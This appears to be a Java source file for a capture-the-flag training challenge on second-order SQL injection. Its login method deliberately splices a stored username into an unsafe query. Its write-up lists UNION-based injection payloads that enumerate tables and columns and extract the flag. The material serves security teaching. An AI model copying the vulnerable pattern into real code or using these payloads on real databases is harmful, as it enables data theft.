package tum0r.server.problem.web.sql_injection.twice;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.model.database.User;
import tum0r.server.problem.ProblemBase;
import tum0r.utils.extension.StringExtension;
import tum0r.utils.misc.Hash;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.model.server.ErrorMessage;
import tum0r.webengine.utils.server.action.Action;

/**
 * 工程: Security<br>
 * 包: tum0r.server.problem.web.sql_injection.blind<br>
 * 创建者: tum0r<br>
 * 创建时间: 2021/3/25 17:36<br>
 * <br>
 */
@Server(Mapping = "/security/problem/web/sql_injection/twice/low")
public class Low extends ProblemBase {
    public Low() {
        information.ProblemTitle = "有趣的SQL注入——二次注入";
        information.ProblemID = 9;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.FUNNY;
        information.CreateTime = "2020/03/25";

        ProblemInfoItem problem = new ProblemInfoItem("register", null);
        problem.addParameter("username", "String");
        problem.addParameter("password", "String");
        information.ProblemInfo.add(problem);

        problem = new ProblemInfoItem("login", null);
        problem.addParameter("username", "String");
        problem.addParameter("password", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("""
                数据不合法？我在注册的时候就检查了啊，登录时从数据库取出来不就直接能用嘛？
                                
                ps：此题是二次注入，业务逻辑较为复杂，所以直接放出代码
                String user = DB.Write.selectValue("SELECT Username FROM `user` WHERE Username = @p0 AND `Password` = @p1", String.class, username, hash.encryption(password));
                if (!StringExtension.isNullOrEmpty(user)) {
                    String pwd = DB.Write.selectValueUnsafe("SELECT Password FROM `user` WHERE Username = '" + user + "'", String.class);
                    result = "Hello, " + user + ". Your password is [" + pwd + "] in database";
                }
                """);
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("没有其他可说的了");
    }

    @Override
    public void writeUp(Action<String> action) {
        String result = """
                0、二次注入是写入和读取出来时进行了转义，但随后直接拼接在下面的sql语句中而造成的注入
                                
                1、分析代码可知注入点是在Username这里
                                
                2、构建注册的Username，获取当前数据库里有哪些表
                register?username=test' UNION ALL SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE()%23&password=123
                login?username=test' UNION ALL SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE()%23&password=123
                                
                3、获取f1ag表中的字段
                register?username=test' UNION ALL SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_NAME = 'f1ag'%23&password=123
                login?username=test' UNION ALL SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.`COLUMNS` WHERE TABLE_NAME = 'f1ag'%23&password=123
                                
                4、根据本题ProblemID获取flag
                register?username=test' UNION ALL SELECT Fla9 FROM f1ag WHERE ProblemID = 9%23&password=123
                login?username=test' UNION ALL SELECT Fla9 FROM f1ag WHERE ProblemID = 9%23&password=123
                """;
        action.callBack(result);
    }

    public void register(@Param("username") String username, @Param("password") String password, Action<Boolean> action) throws ErrorMessage {
        action.check(!StringExtension.isNotNullOrEmpty(username) || !StringExtension.isNotNullOrEmpty(password), "用户名或密码不能为空");
        boolean result = false;
        try {
            Hash hash = new Hash();
            User user = new User();
            user.Username = username;
            user.Password = hash.encryption(password);
            result = DB._Write._User.insert(user) > 0;
        } catch (Exception ignored) {
        }
        action.callBack(result);
    }

    public void login(@Param("username") String username, @Param("password") String password, Action<String> action) throws ErrorMessage {
        action.check(!StringExtension.isNotNullOrEmpty(username) || !StringExtension.isNotNullOrEmpty(password), "用户名或密码不能为空");
        String result = "Login Fail";
        try {
            Hash hash = new Hash();
            String user = DB._Write._DAO.selectValue("SELECT Username FROM `user` WHERE Username = @p0 AND `Password` = @p1", String.class, username, hash.encryption(password));
            if (StringExtension.isNotNullOrEmpty(user)) {
                String pwd = DB._Write._DAO.selectValueUnsafe("SELECT Password FROM `user` WHERE Username = '" + user + "'", String.class);
                result = "Hello, " + user + ". Your password is [" + pwd + "] in database";
            }
        } catch (Exception ignored) {
        }
        action.callBack(result);
    }
}
